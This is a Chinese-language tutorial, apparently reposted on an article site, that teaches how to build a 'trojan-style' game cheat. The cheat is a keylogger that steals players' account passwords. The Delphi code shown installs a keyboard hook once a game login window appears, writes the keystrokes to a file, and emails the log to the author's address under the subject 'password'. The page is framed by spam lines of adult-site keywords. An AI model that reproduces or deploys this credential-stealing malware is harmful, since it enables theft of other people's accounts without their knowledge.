欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
外掛原理3
木馬式外掛

  木馬式外掛,可能大多像木馬吧,是幫助做外掛的人偷取別人游戲的賬號及密碼的東東。因為網(wǎng)絡(luò )上有此類(lèi)外掛的存在,所以今天不得不說(shuō)一下(我個(gè)人是非常討厭這類(lèi)外掛的,請看過(guò)本文的朋友不要到處亂用此技術(shù),謝謝合作)。要做此類(lèi)外掛的程序實(shí)現方法很多(比如HOOK,鍵盤(pán)監視等技術(shù)),因為HOOK技術(shù)對程序員的技術(shù)要求比較高并且在實(shí)際應用上需要多帶一個(gè)動(dòng)態(tài)鏈接庫,所以在文中我會(huì )以鍵盤(pán)監視技術(shù)來(lái)實(shí)現此類(lèi)木馬的制作。鍵盤(pán)監視技術(shù)只需要一個(gè).exe文件就能實(shí)現做到后臺鍵盤(pán)監視,這個(gè)程序用這種技術(shù)來(lái)實(shí)現比較適合。

  在做程序之前我們必需要了解一下程序的思路:

  1、我們首先知道你想記錄游戲的登錄窗口名稱(chēng)。

  2、判斷登錄窗口是否出現。

  3、如果登錄窗口出現,就記錄鍵盤(pán)。

  4、當窗口關(guān)閉時(shí),把記錄信息,通過(guò)郵件發(fā)送到程序設計者的郵箱。

  第一點(diǎn)我就不具體分析了,因為你們比我還要了解你們玩的是什么游戲,登錄窗口名稱(chēng)是什么。從第二點(diǎn)開(kāi)始,我們就開(kāi)始這類(lèi)外掛的程序實(shí)現之旅:

  那么我們要怎么樣判斷登錄窗口雖否出現呢?其實(shí)這個(gè)很簡(jiǎn)單,我們用FindWindow函數就可以很輕松的實(shí)現了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

  實(shí)際程序實(shí)現中,我們要找到‘xx‘窗口,就用FindWindow(nil,‘xx‘)如果當返回值大于0時(shí)表示窗口已經(jīng)出現,那么我們就可以對鍵盤(pán)信息進(jìn)行記錄了。

  先首我們用SetWindowsHookEx設置監視日志,而該函數的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);

  在這里要說(shuō)明的是在我們程序當中我們要對HOOKPROC這里我們要通過(guò)寫(xiě)一個(gè)函數,來(lái)實(shí)現而HINSTANCE這里我們直接用本程序的HINSTANCE就可以了,具體實(shí)現方法為:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

  而HOOKPROC里的函數就要復雜一點(diǎn)點(diǎn):

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果發(fā)現窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于鍵盤(pán)按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通過(guò)keyhookresult(自定義的函數,主要功能是轉換截獲的消息參數為按鍵名稱(chēng)。我會(huì )在文章尾附上轉化函數的)轉換消息。
if length(hookkey) > 0 then file://如果獲得按鍵名稱(chēng)
begin
Write(hookkeyFile,hookkey); file://把按鍵名稱(chēng)寫(xiě)入文本文件
hookkey := ‘‘;
end;
end;
end;

  以上就是記錄鍵盤(pán)的整個(gè)過(guò)程,簡(jiǎn)單吧,如果記錄完可不要忘記釋放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是創(chuàng )建setwindowshookex后所返回的句柄。

  我們已經(jīng)得到了鍵盤(pán)的記錄,那么現在最后只要把記錄的這些信息發(fā)送回來(lái),我們就大功造成了。其他發(fā)送這塊并不是很難,只要把記錄從文本文件里邊讀出來(lái),用DELPHI自帶的電子郵件組件發(fā)一下就萬(wàn)事OK了。代碼如下:

assignfile(ReadFile,‘hook.txt‘); file://打開(kāi)hook.txt這個(gè)文本文件
reset(ReadFile); file://設為讀取方式
try
While not Eof(ReadFile) do file://當沒(méi)有讀到文件尾
begin
Readln(ReadFile,s,j); file://讀取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://關(guān)閉文件
end;
nmsmtp1.EncodeType:=uuMime; file://設置編碼
nmsmtp1.PostMessage.Attachments.Text:=‘‘; file://設置附件
nmsmtp1.PostMessage.FromAddress:=‘XXX@XXX.com‘; file://設置源郵件地址
nmsmtp1.PostMessage.ToAddress.Text:=‘XXX@XXX.com‘; /設置目標郵件地址
nmsmtp1.PostMessage.Body.Text:=‘密碼‘+‘ ‘+body; file://設置郵件內容
nmsmtp1.PostMessage.Subject:=‘password‘; file://設置郵件標題
nmsmtp1.SendMail; file://發(fā)送郵件

  這個(gè)程序全部功能已經(jīng)實(shí)現,編編試試。
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
VC 中鍵盤(pán)鉤子和鼠標鉤子
Windows API 教程(七) hook 鉤子監聽(tīng)
C++鉤子程序淺析
鉤子函數
windows鉤子函數
C#簡(jiǎn)單游戲外掛制作(以Warcraft Ⅲ為例)
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久